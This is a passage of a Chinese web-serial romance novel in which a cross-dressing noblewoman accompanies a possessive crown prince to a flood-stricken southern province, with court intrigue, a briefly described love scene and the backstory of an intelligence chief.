乌拉尔收到傅归宜随驾同去的消息松了一口。 能同去, 就代表他的“病”好了,也代表太子殿下对之前的事情既往不咎。 之前纷纷猜测镇南王世子失了太子殿下欢心的谣言不攻自破, 众人也再一次刷新对傅归宜恩眷隆宠的认知。 分别当日, 在岔路口时两队人依次分开, 离开时太子回京的车驾里坐了人,正是当日与殿下携手逛园子的女人。 没人知道她的身份, 也没有人敢去打听,只听说她已经有了太子殿下的孩子。 这次回京,季明雪亲自护送, 将车架围得密不透风,任何人不得探视。 朝臣们不约而同地选择忽略这个女子的出身, 只要能为殿下成功绵延子嗣, 其他都不重要。 也正因为有了这个孩子被严严实实保护在宫里,反对裴璟亲自去南方五省的声音小了很多。 乌拉尔落在队伍后面, 与傅归荑同行。 她已经换回男装, 马上挂着逐月弓和一筒箭。 乌拉尔小心翼翼问:“阿宜, 你的病痊愈了吗?” 傅归荑点头。 乌拉尔瞧着骑马的少年脸色红润,眼眸清亮,甚至还胖了些。心想阿宜果然不是生病,哪有生病的人还长胖的。不过无论是什么原因, 现在他能被放出来,总归是没事了。 既然他不愿意多说, 自己还是不要打破砂锅问到底。 “这次去南方五省你要保重。”乌拉尔支支吾吾:“还有就是……就是不要再跟太子殿下起冲突了。” 傅归荑闻言, 垂眸淡淡嗯了一声。 乌拉尔看人一副不想多谈的样子, 肯定是受了委屈。阿宜并不是那种到处吐苦水的人,何况对上太子他们实在是以卵击石,不如忍一时风平浪静。 “要不、要不换我去。”乌拉尔像是下了极大的决心:“我去跟太子殿下说,代替你去南方五省,你回宫赶紧通过《南陵六记》的考核,离开京城回家罢。” 傅归荑听了后眼眶微酸,眨了眨眼驱散雾光,抬头对着乌拉尔笑了声:“不用,我有分寸,不会随意与他起冲突的。” 乌拉尔还想说什么,被傅归荑打断:“君命不可违,就送到这里罢。” 两人转眼已经到了临别的路口。 乌拉尔问她:“还有什么我可以替你做的吗?” 傅归荑想了想,有点难为情:“你能……把你身上的钱借我吗?” 乌拉尔满脸疑惑,一副“你在说什么鬼话”的表情。 傅归荑脸颊微红,“你回宫去找邓意,我的钱都在他那里,他会还给你的。” 乌拉尔反应过来了,立刻扯下自己的钱袋扔过去,“没多少,大概不到一百两银子,要不我去问池秋鸿借点给你,出门在外还是要带些钱财才好办事。” 傅归荑掂了掂,摇头道:“够了。” 太多她也藏不住。 傅归荑把东西藏进怀里,握住缰绳调转马头,往右侧小路上走。 “对了,”傅归荑回头看向乌拉尔:“《南陵律》和《南陵六记》的考点我都划出来了,你去找邓意,他会一起交给你的。” 乌拉尔听了顿时激动万分,眼里好像闪动着水光:“阿宜!我的好兄弟!” 傅归荑冲乌拉尔浅浅一笑,“祝你早日回家。” 说完毫不留恋地转头,扬鞭策马而去。 乌拉尔朝她离去背影大吼:“阿宜,平安回来,等你一起回家!” 回答他的是傅归荑高举的手,随意地挥动两下表示知道了。 乌拉尔骑在马上,一直望着傅归荑的身影消失在小道尽头。他总觉得阿宜有什么地方不一样了,但是以他贫瘠的词汇又无法形容。 “喂,乌拉尔,你傻笑什么?” 乌拉尔脱口而出:“阿宜说他给我划了《南陵律》和《南陵六记》的重点。” “什么!” 本来空旷的小道上瞬间挤满七八个人,他们纷纷表示自己也要。 “不给,”乌拉尔面无表情:“自己学去。” 有机灵的世子发现他的钱袋不见了,问他是不是掉在路上,狗腿地表示要帮他去找回来。 “不是,阿宜拿走了。”乌拉尔有点埋怨:“太子殿下也真是的,一点不懂民间疾苦,连盘缠都不给他准备。” “好兄弟,傅世子的盘缠我出一份。” “我也出一份。” “算我一个,算我一个。” 顷刻间乌拉尔的手塞满了沉甸甸的钱袋,估摸每一个都比他的那个重。 “嘿嘿,那是不是傅世子笔记也能算我一份呀。” “嘿嘿……也要算我一份。” 回到队伍里,乌拉尔拿了傅归荑笔记的事情跟长了翅膀似的,不到半柱香,他又收了几十个钱袋。 乌拉尔臭着脸哼了一声,诚实地把钱都收进了自己的口袋里。 罢了,给他们看看也无妨,到时候这些钱跟阿宜三七分,不,二八也行。 毕竟都是一起来的,到时候也该一起回家。 有与乌拉尔交好的世子过来酸他:“你说傅世子看上了你哪点,怎么什么好东西他都给你。” 乌拉尔得意哈哈大笑,旋即握拳举起手臂,露出自己骄傲的腱子肉。 “阿宜就喜欢像我这么男人的人。你们都知道他娘是南陵人,他又是双生子,自幼就比别人长得瘦小些,但是他心里一定很希望自己是一个像我这样强壮的男子汉。” 悄悄围上来偷听的世子们瞬间做鸟兽状散开。 吐了。 然而他们心里偷偷地把自己与乌拉尔比较,最终得出结论,确实没他看上去健硕魁梧。 * 裴璟面色不善地等在渡口,周围的人瑟缩着身子,尽可能当自己不存在。 为了以最快速度达到南方五省的指挥中心抚城,他们这次采用水路加陆路并行的方式,先乘船至曾县,再从曾县骑马取道抚城。 部分物资裴璟已经提前叫人送过去了,剩下的统一用船分批运送。 裴璟负手而立,目若寒星盯着路口,忽然有嗒嗒的马蹄声传来,等见到人后,他的脸色稍霁。 “吁。”傅归荑勒马,利落翻身而下。 裴璟冷冷看着她:“傅世子来得太慢了,再不来孤就要派人去看看你是不是遇到了什么危险。” 傅归荑听出他在阴阳怪气,面不改色双手作揖,躬身请罪:“臣知罪,请殿下责罚。” 背脊笔直,语调平缓,实在看不出哪里知错的模样。 裴璟沉着脸,宽大的衣袖重重一拂,转身上船。 走了两步见后面的人没动,停下脚侧头冷喝:“还不跟上!” 傅归荑直起身,昂首含胸跟在他后面,一脸淡然,看不见丝毫慌张和害怕。 船顺着水流一路南下,傅归荑坐在三楼的窗牖边,以手撑着侧脸往外看去。 连日的暴雨,河水泛着浑浊的黄色,散发着腥臭味。水面上时不时翻滚出枯树根、泡烂的房梁,牲畜的尸体,甚至是人的尸体。 咚咚咚地撞在船舷两侧,发出沉重的声响。 忽然旁边有个人影坐了下来,替她满上热茶。 “在看什么?”裴璟端起茶盏,抿了一口。 傅归荑目光未收回,淡淡反问:“这次要待多久?” 裴璟放下杯子,挑眉问:“这才刚出来你就想回去,莫不是心里惦念着谁?” 傅归荑听出他明显是在找茬,不接他的话,目不斜视注视前方。 裴璟正想把人拎到跟前教训教训,再不收拾,她都敢上房揭瓦了。 一阵巨浪骤然扑了上来,傅归荑一个不稳往旁边倒,正好扑在裴璟身上,她连忙爬起身却被一双铁臂箍住腰,紧得她快喘不过气。 傅归荑蓦地脸色涨红,仰头咬启齿冷笑道:“都什么时候了,你还有心思做这种事?” 裴璟低头用鼻尖碰了碰她的,轻笑道:“我又不能插上翅膀飞过去,再急都没用。” 滚烫的鼻息在两人咫尺间流转,裴璟深不见底的黑眸此刻清晰无比地映着傅归荑的脸,眼睫几乎与她的相触。 他一眨,她也跟着颤动。 傅归荑耳根烧红一片,不自在地扭过脸,正好看见外面的天色,此时正是用午膳的时间,天空却阴云密布像傍晚,恐怕又要下一场大雨。 啪地一声,支撑窗户的支架被人取下来丢在一边,窗户被猛地一下关死,透不进一丝风。 船外的暴风雨还未至,屋内已经下了场狂风骤雨。 两人不知在窗户边颤了多久,又转移战场到榻上。 船上空间有限,这张床只有东宫的三分之一,傅归荑不得不死死搂住裴璟的脖颈以免掉下去。 等到裴璟尽兴了,傅归荑已经浑身无力,连动手指的力气都没有。 船上沐浴不太方便,裴璟自觉打了热水替她擦拭身体,炙热的湿布抚遍全身,留下淡淡晕红和交错的指痕。 大船分了三层,最上面是裴璟和傅归荑的居所,第二层是跟着他们一同出行的官员,最下层是护卫仆从。 无人不感叹太子殿下待镇南王世子的隆恩,早听闻他们在宫内时就经常秉烛夜谈,太子殿下还邀傅世子同榻而眠。 如今一见,当真如此。 唯有住在他们那间房楼下的官员心里默默感慨,傅世子不仅要与太子殿下谈论古今,偶尔还要切磋武艺,有时候一打便是大半个晚上。 太子殿下的宠臣也不是那么好当的,尤其是傅世子看着单薄孱弱,一定不是太子殿下的对手。 三楼房间内,傅归荑放下书卷,一巴掌拍在裴璟作乱的手背上,冷冷说了个滚字。 裴璟想着马上就要日夜兼程地赶路,便也不再闹她。 又过七日,船终于停靠在曾县码头,岸上早有人等候他们。 当天,一行人好好休整一晚上后,第二天立刻骑马奔赴抚城。 他们披星戴月赶了三天路,风尘仆仆到了抚城。 一入城,直奔当地的府衙,秦平归已经将那处划为指挥中心,也是裴璟等人的落脚地。 这三日当真是没有一刻停歇地赶路,然而太子殿下不发话,没有一个人敢掉队,全都硬生生地挺着。 随行的大臣里有文官,他们等落地的时候双腿战战,脸色蜡黄,有身子更弱一点的直接晕了过去。 反观他们之前一直觉得虚弱不堪的傅世子面色不改,唯有鬓角落下几缕凌乱的发丝。 裴璟吩咐下人扶官员们去安顿,自己马不停蹄地去找秦平归,他转身对傅归荑交代:“你自去休息,今天我可能不会回来。” 裴璟发誓,在他说出这句话后傅归荑肉眼可见地勾了勾唇角,顿时心里像被堵了块石头,声音也冷下了来。 “别忘记我们的约法三章。”他半眯着眸,目光警告。 傅归荑脸上若有似无的笑意瞬间消失,淡淡道:“知道了。” 裴璟在来的路上跟她说,到了抚城以后有三样事情不许做。 第一,不许她私自出府。 傅归荑弄不明白,既然不许她出去又为何要带她来,难道就为了换个地方关着吗? 裴璟听到她的控诉后笑着说因为她太狡猾了,寻常人镇不住她。又说这次来也不知道什么时候才回京,最短一月,最长说不定要半年,他难以忍受与她分离这么久,他想天天看见她。 傅归荑丝毫没有因他这番肺腑之言而动容,裴璟气得骂她铁石心肠,冥顽不化。 她淡漠地拿起书卷挡住半张脸,任由他气急败坏。 第二,不许她擅自脱下鲛绡内甲。 宫里的绣娘对内甲进行了第二次改动,增加一个灵活调整大小的绑带,傅归荑穿上它后不像从前那样勒得慌,睡觉穿也能适应。 唯一让她不满的是裴璟依旧用一把小锁扣死,理由是防止其他人脱下。 傅归荑觉得他莫名其妙,除了他,有谁会无缘无故地脱她的衣服。 第三,无论发生什么事,她都要以自己的安危为重。来之前裴璟将情况明白地告知傅归荑,这次面对的不仅仅是洪涝灾害,还有流民,甚至还可能有时疫的风险,他要傅归荑不得插手这些事情。 除此之外,他还怀疑这次事件迟迟无法解决的重要原因是有北蛮反贼从中作梗,话里话外都指向上次平溪猎场的那些人。 “他们是一群亡命之徒,若是遇见,你只管保护好自己。不要再像上次那样冒险了,知道了吗?” 傅归荑皱着眉嗯了一声。 哈穆也在南方五省? 另一厢,裴璟送傅归荑回房后直接去找秦平归,听人说他已经在床上躺了一天。 进去的时候没叫人通报,裴璟站在秦平归床头,看他睡得四仰八叉的,脸色无奈又难看。 “你把我叫来,自己却在睡觉?” 秦平归听到动静睁开一只眼,看清来人后先是躺在床上高举双手作揖,动作懒散地见了礼。 “一个月,我整整一个月没睡过个囫囵觉,刚睡下你就来了。”秦平归慢慢撑起上半身倚在床头,头痛地揉了揉额角。 裴璟想到密报里的提到的事,又瞧见他疲惫的眼神,淡淡道:“接下来几日你好好休息,顺便帮我看一下隔壁院子里的人。” 秦平归扯了扯嘴角:“我到底是休息,还是帮你看人?” 裴璟看着他:“两样同时做又不耽误你什么事,她懂事听话,不会惹麻烦的,你只要保证麻烦别找上她就行。” 秦平归不置可否。 “行了,剩下的交给我。”裴璟又问了几句关于蒙穆等人活动的线索,心里有底后转身离开。 临出门,他问了句:“我带了太医来,你要看看吗?” 秦平归重新躺了回去,摆摆手。 裴璟也没多想,径直离开了。 等他走后,秦平归再也没睡意。 其实这一个月的忙碌于他而言反倒是一种放松,帮助他分散精力,减少胡思乱想。 之前他奉裴璟的命令前往苍云九州的镇南王府暗中调查,顺道帮他办事。 当他潜入傅归荑的房间后顿时有种说不上来的古怪感。 苍云九州盛产竹子,她房间里的大部分家具都是竹子打造而成,竹床竹桌,竹椅竹架等等,甚至一些小物件比如杯子、花瓶都是竹子做的。 房间内没有什么装饰物,更没有女孩子的梳妆台,只有几把大小不一的弓挂在墙上,书桌上整齐地叠放着几本合拢的书。 看得出来,傅归荑确实像一个男子一般生活着。 他又到了名义上嫡小姐的房间转了一圈,这里就是实实在在的女子闺房。 水粉色的纱帐,琳琅满目的小巧摆件,还有码放得整整齐齐的珠钗步摇,它们蒙了一层不薄不厚的灰,但还是能看出都是崭新的,就像是放到这里后从没有动过。 与那间一尘不染地竹房相比,这间房子虽然有人打扫,但明显不算勤快。 秦平归走到床前,发现枕头底下有个什么东西,掀开一看是个巴掌大小的弹弓。 小小的弹弓约莫是给四五岁的人用的。 看得出制作的人手工不算好,弹弓的手柄削得凹凸不平,但却因为经年累月的把玩,活生生将粗糙的木头磨得光滑平顺。 秦平归不知为何忽然产生一种熟悉的感觉。 还不等思索,外面传来脚步声,他赶紧把东西放回原位,从一旁的窗户口跳出去。 从那天起,他开始做梦。 梦里他被困在水里,冰冷的水灌入他的双耳,鼻腔,口舌,最后全都流入他的肺腑。 溺水的窒息感让他无法呼吸,胸腔疼得要爆炸,感觉下一刻就要死去。 然后脑海里会出现一个小女孩的声音。 “哥哥,我等你回来。” 他不断地重复这个梦,这句话像紧箍咒一样勒得他头痛欲裂。 秦平归想问她叫什么名字,但是每次不等他开口,自己会被憋醒。 一次又一次,周而复始,到最后他都快要急疯了。 他是不是真的有个妹妹还在等他回家。 那他的父母呢,还在世吗? 听那个声音的年纪,推测也就五六岁,若是父母不在她该如何独自一个人活下去。 他还能找到梦里的那个叫他哥哥的小女孩吗? 砰! 秦平归握紧拳头朝着内侧墙壁用力一锤,房顶都抖了一层灰下来。 “等这次事情结束,我得重新去调查一遍。” 秦平归急躁过后,迅速冷静下来分析他梦中的线索。 河流,冰川,结合他当年被救的地点,那条河十有八九是若依河。 若依河途径的地点分别有苍云九州的其中三洲,赤水草原南部和泸雪山脉。 他当年一醒来就身处风月场所,一直以为自己是南陵或者北蛮人,将调查重点放在这两个地方,如今想来恐怕是找错了方向。 没关系,现在的他比从前更有力量,只要人还在,他一定能找到。 想通这点后,秦平归无比希望裴璟赶紧解决好这里的事情。 又躺了片刻,发现自己实在闲不住,翻身下床往外走,他打算去提醒一下傅归荑别作多余的事情,别给裴璟添麻烦。 她的院门口外守了两个甲兵,看见是他,点头行礼后顺利放行。 傅归荑正巧也在院子凉亭下坐着喝茶,感觉到有人进来,她诧异地看过去。 秦平归不请自入,大大咧咧坐在她对面。 傅归荑见状没离开,也没开口,自顾自地捧着一杯热茶。 最终还是秦平归先说话:“那什么,你一路来辛苦了。” 话一出口他就想给自己两个大耳瓜子,本来是警告她的,怎么变成了关心她。 秦平归给自己找的理由是她一个女孩子跟着裴璟风餐露宿的,不容易。 傅归荑面如常色,淡淡道:“还好。” 旋即似乎想到了什么,从怀里掏出一锭碎银放在秦平归面前,“还你的面钱。” 秦平归挑眉看她:“上次我差点害死你,你不怪我?” 傅归荑抿了口热茶,垂眸道:“你也不是故意的。” “你怎么知道我不是故意的。”他没收银子,眼睛直勾勾的盯着傅归荑。 “伤了我,对你没好处。”傅归荑对他的挑衅视而不见,平静道:“裴璟应该惩罚了你,我还要跟你说句抱歉。” 说完把乌拉尔给她的银子分了一大半给秦平归,“给你,以后娶个媳妇,好好过日子。” 秦平归面容微动,半晌笑着喟叹道:“从前我觉得你不识好歹,裴璟你都瞧不上,如今我倒觉得他配不上你了。” 傅归荑扯了个没有笑的笑容,没接话。 秦平归没收东西,警告的话也说不出口,悻悻然起身离开。 忽然傅归荑叫住了他。 “我能问问,你叫什么名字吗?” 作者有话说: 裴璟:好兄弟,记得帮我多说好话。 傅归宜:…… 傅归荑:…… 第53章 买桃 晋江文学城独家发布 秦平归的脚步一顿, 转身回头看向傅归荑。 她的眼神澄澈明亮,凝视一个人的时候显得认真而真挚,有种令人无法拒绝的魔力。 然而秦平归在北蛮隐忍蛰伏十年之久, 后又专攻情报收集,见识的手段不知多少, 傅归荑这点小花招在他眼里根本不算什么事。 他噙着吊儿郎当地笑, 缓缓走回来, 站在她面前低着头。 “为什么忽然问我的名字。” 秦平归带着皮质面具,露出的下半张脸在笑, 然而面具上的一双眼全是冰冷的审视意味。 傅归荑收回目光,淡淡道:“随便问问,不想说便算了。” 她不是个好奇心很强的人, 却对面前这个人本能地生出一丝探究。刚刚的问题试探有之,真心想知道亦有之。 “别呀, ”秦平归重新坐回到原来的位置上:“不如我们玩个游戏, 一人问一个问题,如果遇到不想回答的就结束游戏, 但是不能说谎。” 傅归荑眼看就要开口拒绝, 秦平归耍无赖地先回答, 然后迅速抛出个不痛不痒的问题:“我叫秦平归。你为什么要问我的名字?” 傅归荑暗忖这人不可小觑,若是他问一些敏感问题,她可能直接掉头就走,偏偏他回答问题后又问这种无关紧要的, 勾得她忍不住坐下去。 “因为你跟其他人不一样。” “哪里不一样。” 傅归荑沉默片刻,道:“因为其他人都不敢主动接近我, 尤其是男人。但是你不仅敢跟我搭话, 还敢直呼‘裴璟’的名字。即便是皇亲国戚提到他时也拘谨小心, 害怕得很,你却完全没有这种感觉。” 这次换成傅归荑不给秦平归喘息之机,连问他两个:“你为什么带面具?你接近我有什么目的?” 秦平归瞎扯:“戴面具是因为我长得太让人过目不忘,你知道我们搞情报的,最忌讳引人注目。至于接近你,是裴璟、不,太子殿下让我来保护你的。” 傅归荑半眯着眼睛打量秦平归,似乎在分辨他话中的真假,半晌她淡淡道:“原来是毒蛇大人,失敬了。” 秦平归故意装作一脸震惊:“什么,连我混江湖的名号你也知道,裴璟果然没有把你当外人。” 傅归荑耷拉下眼皮,连假意寒暄都懒得装。 某日她曾好奇裴璟是如何确认自己身份的。她的长相虽然偏秀美阴柔不够男子气,但她的言行举止会让所有怀疑的人打消念头,包括初遇乌拉尔时,他也曾说她长得像个娘们。 然而一个时辰过后,乌拉尔从此再也没怀疑过她的身份。 傅归荑自认为自己的伪装虽然说不上天衣无缝,但绝对不会被轻易看穿,当初裴璟把她扔到水池里也未能验证她的身份,足以证明她扮作男子以假乱真的程度。 裴璟告诉他,是因为他手底下的人查到傅归宜曾经的一件旧事。 真正的镇南王世子,善水,并且还查到嫡小姐傅归荑避世养病的小院没有住人。 且不说她对外宣称养病的地方有多隐秘,光是她哥哥会游泳这种陈年旧事竟也能被挖出来。 自从她扮作世子后,再也没有下过水,对外也都说不会水,谁曾想裴璟的入手点居然是这个。 继而引发话题,他毫不避讳地告诉她自己手里有一支奇兵,专门收集各种情报,其中统领代号毒蛇。 傅归荑默默收回桌上的银子,想必他也真的不缺这点钱娶妻生子。 秦平归眼看傅归荑一脸冷淡拒人千里的模样,知道她这是不想再继续聊,立刻卖惨。 “其实我也不是什么大人,”秦平归殷勤地替傅归荑满上热茶,开始卖惨:“当初筹建这支队伍的人时候,要人没人,要钱没钱,所有事情都是我亲力亲为,说是大人,实际上就是一块石头,哪里需要就顶在哪里。” 他告诉傅归荑自己为了打听一个消息,躲在人家屋子里三天三夜,听了各种乱七八糟的声音。还有为了栽赃某个世家门阀,亲自扮做乞丐上门,还被抽了几鞭子。 傅归荑脸上没什么反应,但也没有离开。 最后,他终于露出本次谈话的最终目的,一脸敬佩又叹息道:“其实裴璟比我更不容易,他当年在北蛮受的苦不是一般人能想象的,他只是不说。” 秦平归挑了几件事,比如裴璟被人当做靶子,头顶水果供北蛮皇族玩弄,身上被射得全是伤,尤其是后背还有鞭伤。那群北蛮人还让他像个下人一样去干又脏又重的活,冬日里命令他用体温去融化湖面上的冰,逼他跳进里面抓鱼。 还好他忍辱负重,靠自己的心机谋算挑动北蛮内部争端,最终得以平安归国,甚至还灭了北蛮。 “总之,他虽然性格有时候霸道了些,本性不坏,因为从前受太多的苦,你多多包涵。” 秦平归说得喉咙干渴,连灌下两三杯茶,烫得他差点舌根起燎泡。 心里想着,这下总能在傅归荑面前替裴璟挽回点印象了罢。 他放下茶盏抬眼一看,傅归荑木然地望着前方,他没在她脸上看到半分怜悯,同情,亦或者钦佩。 “你在听吗?”秦平归脸色有点难看。 傅归荑如梦初醒地啊了一声,声音平稳道:“在听的。” “你没有什么想说的。” 傅归荑脱口而出:“没……” 下一刻,她及时止住话头,顿了顿敷衍道:“太子殿下卧薪尝胆,臣十分佩服。” 秦平归看不出她有一点点的佩服,就算是听个陌生人的故事,此时也该闪着点泪花亦或者激动得赞叹几声好。 傅归荑跟个木头似的,秦平归觉得没趣,准备离开。 他已经尽力了,奈何傅归荑油盐不进,还是丢给裴璟去烦心。 “你说他受了太多的苦,可他的苦难并不是我造成的,为什么要我包容他。” 傅归荑毫无波澜的声音从后面传到秦平归的耳朵里,“或许你觉得我冷血无情,但这世上谁没有一两分的苦楚。苦难并不是他用来逼迫我的理由。” 秦平归笑着摇摇头,“你看得太通透,不好骗。” 傅归荑望向他:“何况裴璟要的也不是同情,他要的是坚定不移地支持。” 秦平归身形一顿,不再言语,离开了别院。 傅归荑再没开口,一个人坐了一个下午。 裴璟果然很忙,一连三天都没回来。 傅归荑有时候在房里看抚城日志,有时候在凉亭喝茶,院子太小,她没办法练箭,也不想为这点小事打扰裴璟。 某一日她走出凉亭外时,正巧一片树叶落在她的肩上,她抬手拈下来。 黄色的梧桐叶边缘微微枯萎,向里卷起一条边。 秋天到了,她离开苍云九州,一年了。 又过一日,裴璟在午时二刻回来了。 傅归荑用完午膳刚躺下准备小憩一会儿,听见动静立刻闭眼假装睡着,听见隔壁耳室传来窸窸窣窣的沐浴更衣声。 渐渐地睡意上涌,等裴璟上榻时她的意识变得模糊,忽然身体感觉到微微的潮湿,她立刻清醒过来。 “吵到你了?”裴璟将她抱在怀里,声音疲惫:“睡吧。” 须臾间,他的呼吸变得平稳。 傅归荑此刻睡意全无,抬眸一看,裴璟眼底印着明显的青黑色。 她又等了一会儿,确认裴璟已经熟睡,悄悄拿起他横亘在腰间的手,慢慢退出去。 还不等她完全离开他的控制范围,大掌骤然成爪,扣住她的腰侧狠狠往里拉。 “你怎么不睡了?”裴璟的眼睛没睁开,头埋在她的颈窝蹭了蹭,傅归荑顿时情不自禁打了颤,忍不住抬肩躲他。 裴璟的下颌长出了浅浅一层胡渣,方才睡眼惺忪没看清,现在扎上柔嫩敏/感的皮肤,微微刺痛感霎时蔓延上半身,又痒又麻。 裴璟好像发现她的不自在,停下动作,低笑了声:“不闹你了,再陪我睡会。” 傅归荑仰躺在床上,双眸望向头顶是天青素色帐顶,闷声道:“我不想睡了” 裴璟不但没有放开她,反而连腿都用上,死死压住她的双膝,但嘴里却罕见地示弱:“陪我睡一会儿,没有你,我睡不着。” 声音越来越小,最后的字音刚落下没多久,他又睡着了。 傅归荑抿了抿唇,余光瞟到裴璟鬓发,恍然间闪过一点白,再一看又好像是白昼反射的光。 踌躇半天,她终究还是没有再推开裴璟。 看样子,他真的只是睡觉而已。 傅归荑闭上眼假寐,脑子里却不由自主浮现那日秦平归的话。 南陵典籍对裴璟去北蛮为质的记载只有寥寥数语,皇四子裴璟年十岁被册封为太子,记入中宫名下,同年十月入北蛮。 十岁为质,二十岁归国,整整十年。 据说裴璟的生母只是个小小的美人,原本太子是落不到他的头上。但是后宫的人都心知肚明,太子这个位置是个靶子,没人愿意把自己的孩子置于这样的险境。 裴璟没有选择。但是皇帝承诺他,若是他愿意前往北蛮为质,只要他好好活着,就晋升他的生母为嫔,入主一宫。 寄人篱下的日子有多委屈,再没有比他们母子更清楚。为了母亲,裴璟答应了,并发誓一定要活着回来。 然而他去北蛮的第二年,南陵就传来他母妃薨逝的消息,原因是因思成疾。 傅归荑忽然想到裴璟从来不会在她面前脱衣服,无论他们在多亲密的时刻,他最少也会穿上一件中衣,哪怕是沐浴。 心念一动,她的手小心翼翼往他的后背探。 裴璟睡得很熟,对傅归荑的小动作丝毫不觉。 她下意识去摸后腰底部的位置,那里居然也有一块微微凸起的疤痕,很长,像是鞭伤。 手指向上移,类似的粗糙触感遍布全身。 傅归荑默默在心里勾勒出伤口的大小和位置。 都过去那么多年了依然还留下如此明显的痕迹,当初得受了多严重的伤。 难怪裴璟如此痛恨北蛮皇族,对他们赶尽杀绝,一个不留。 傅归荑还想起一个传闻,他曾对北蛮军中的赤焰部痛下狠手,不但全数歼灭,每一个都死于最残忍的凌迟。 这成了他统一南北战争中唯一的污点。 事实上,裴璟攻打下北蛮后恩威并施,怀柔加威吓,迅速笼络归降的北蛮百姓民心。 对北蛮文官武官亦是如此,杀掉的大多是长期欺男霸女,鱼肉百姓的狗官,剩下的采用南陵官员和北蛮旧人互相搭配,互相监督。 所以南北局势才能以最快速度稳定下来。 那个赤焰部,傅归荑也有耳闻。 他们是一群北蛮皇族的外戚组成,最是残忍弑杀,当年有不少规模较小的游牧民族因为一点小事得罪他们就被全数灭族。 傅归荑所在的部族也深受其害,但他们本身实力不凡,赤焰部不敢真的硬碰硬。 忽然,裴璟全身抽动了一下,吓得她立刻收回手,闭眼敛吸,僵着身子。 谁料他只是用头又蹭了蹭她的肩膀,好像在确认什么似的,肯定人还在后又不动了。 傅归荑渐渐也睡了过去。 再醒来时,天已经蒙上一层阴翳的灰,榻上已凉,裴璟不知走了多久。 傅归荑揉了揉眼睛,掀开盖得严严实实的被衾,朝外面叫了一声。 很快有人送上晚膳,并告诉她裴璟又走了。 傅归荑对着满满一桌子菜,恍然惊觉,自从来到抚城后,他们好像再没有一起坐下吃过一顿饭。 意识到这一点,她心口莫名漫上一种说不出的寂寥之感。 明明裴璟不回来,她应该很高兴才是,前几日也确实如此。对于她来说,关在这座小院和关在东宫并没有本质区别。 她不想承认自己还是被秦平归的话影响了,脑子里却不可避免地联想到自己。 北蛮在最强盛的时候,不仅要求南陵送质子,也要求各部族送儿子进宫,明面上打着和谐共亲的旗号,实际上大家心知肚明,为了能拿捏折辱他们。 幸好傅家擅长骑术,四处为家,一有风声他们就换地方藏匿,北蛮找到他们不易。再后来哈穆在北蛮中有一席之地,替她推脱,傅归荑方才得以保全自身。 心里盘算着,如果她进了北蛮皇宫,又能坚持多久。 傅归荑食不知味,草草动了两筷子便让人撤下。 外面骤然传来一阵咚咚咚的声音,吵得她头疼,语气烦躁:“外面在干什么?” “回世子,太子殿下说院子太小了,您没办法射箭解闷,让拆了隔壁的院子合在一起做个校场。” 婢女话音刚落,外面传来一阵骂骂咧咧。 “大晚上拆我的院子,你们要死啊。“ 是秦平归的声音。 “大人,请您恕罪,太子殿下吩咐要建个靶场……” “什么!他这个……” 他好像骂了句什么,傅归荑没听清。 后来就只剩噼里啪啦的拆墙声。 第二天,秦平归嘴角下压,阴着一张脸来找傅归荑。 “跟我走。” 傅归荑后退一步,一脸防备。 “我请你吃了一碗面,你也该回请一碗。”秦平归憋出个蹩脚的理由,谁让裴璟心疼人没好好吃饭,特地叫他带人出去散散心。 “我不去,他不让我出去。”傅归荑心里实际上非常想出去,但她怕这是裴璟的试探。 “就是他说的,走了走了,快点。”秦平归不耐烦地催她。 傅归荑思索了很久,找不到裴璟这么做的目的,还是拒绝了。 “走。”秦平归不由分说拉着她的手臂往外拖,暗忖裴璟到底对她做了什么,傅归荑这样风声鹤唳。 等到终于顺利走出大门,傅归荑还有不真实之感。 秦平归带她去了当地最好的酒楼吃了碗,吃之前他做足了功夫,保证里面没有任何东西会让人过敏,端上来的时候他先用银针试毒,又试吃一口。 傅归荑见秦平归如此小心谨慎,讷讷道:“我也没这么脆弱。” 秦平归冷笑一声:“是我脆弱。” 要是傅归荑在他眼皮子下再出事一次,裴璟能让他去填河。 酒楼地处抚城最繁华的地方。水患已有数月,然而街上来往的人络绎不绝,人人脸上没有颓丧的绝望,而是充满希望的目光。 偶尔会看见官府押运驴车装着米面和药材送到附近的救灾地点,依次分发给灾民们。灾民们脸上满是感动和热泪,自觉排队,还谦让老人幼儿,完全没有一点杂乱拥挤,更没有哄抢争夺。 傅归荑注意到救济的粥是浓稠的,馒头都是白米面制成的,不由多看了两眼。 秦平归见缝插针:“你看裴璟也不是一无所长的,至少他治国方面还是有可取之处的。” 裴璟故意让赵清漏口风他有意来南方五省亲自督察,还会严惩渎职的官员。 曾经想要捞一把和玩忽职守的听见京里的风声后立刻收手,为了将功补过,格外卖力,纷纷亲自战斗在第一线。 裴璟来后敲打了一番,暗示只要这次水患顺利解决,既往不咎。官员们更加拼命,谁敢玩忽职守他们第一个不饶过。 傅归荑听后嗯了一声,点头表示赞同。 秦平归看她认真敷衍的样子,默默叹了口气。 吃完后,他心血来潮把傅归荑带到裴璟指挥的现场,心道百闻不如一见。 路上买了两个桃子,秦平归让她自己选,一个又软又红看上去鲜嫩多汁,一个带点青,摸上去硬硬的。 傅归荑想也没想地拿了青粉色的。 秦平归愣了一下,低头轻笑一声:“会选。” 他也不喜欢吃太软的桃子。 秦平归还在不遗余力地夸赞裴璟,仿佛他是全天下最优秀的人,什么文韬武略,智勇无双,他觉得这辈子他都没有这么绞尽脑汁过,最后甚至昧着良心说裴璟心地善良,温柔体贴。 傅归荑站在原地,盯着秦平归看了好一会儿,看得他心里发毛,不得不说在某些时候傅归荑的眼神让他想到要对付人时的裴璟。 一言不发地望着你,也不说话。 “你在我面前说他再多好话也没用。”傅归荑继续往前走,声音冷淡:“我是不会转告他的。” 秦平归面无表情地咬了一口桃子,敢情她以为自己要她去吹枕边风? 桃好甜,腻死了,呸。 两人站在一处拱桥上,水位已经漫过半个桥洞,桥下河道旁边堆放着高高的沙石袋,用来防洪。 河堤上,裴璟在临时搭建的简易棚子里负手而立,目光犀利地盯着过往行人,他脚下是一颗刚斩下的人头。 岸边人来人往,密密匝匝的人群挤满泥泞的小道,他们井然有序地做好自己手中的事情,有的装沙袋,有的扛沙袋,没有一个人交头接耳。 隔着滚滚流水,傅归荑也能感受到裴璟此刻身上散发的威压。 忽然,裴璟像是有感应似的,往桥上看过来。 傅归荑下意识躲在秦平归的后面。 “喂,你再不出来,他就要把我们两个一起绑了沉江。”秦平归戏谑道。 傅归荑抿着唇上前一步,心虚地往前看。 裴璟已经独自一人气势汹汹地杀过来,转瞬间来到两人面前,他目若寒星,冰冷的眼神来回在他们两人身上扫射逡巡。 见两人位置不过一臂距离,胸口微微起伏着。 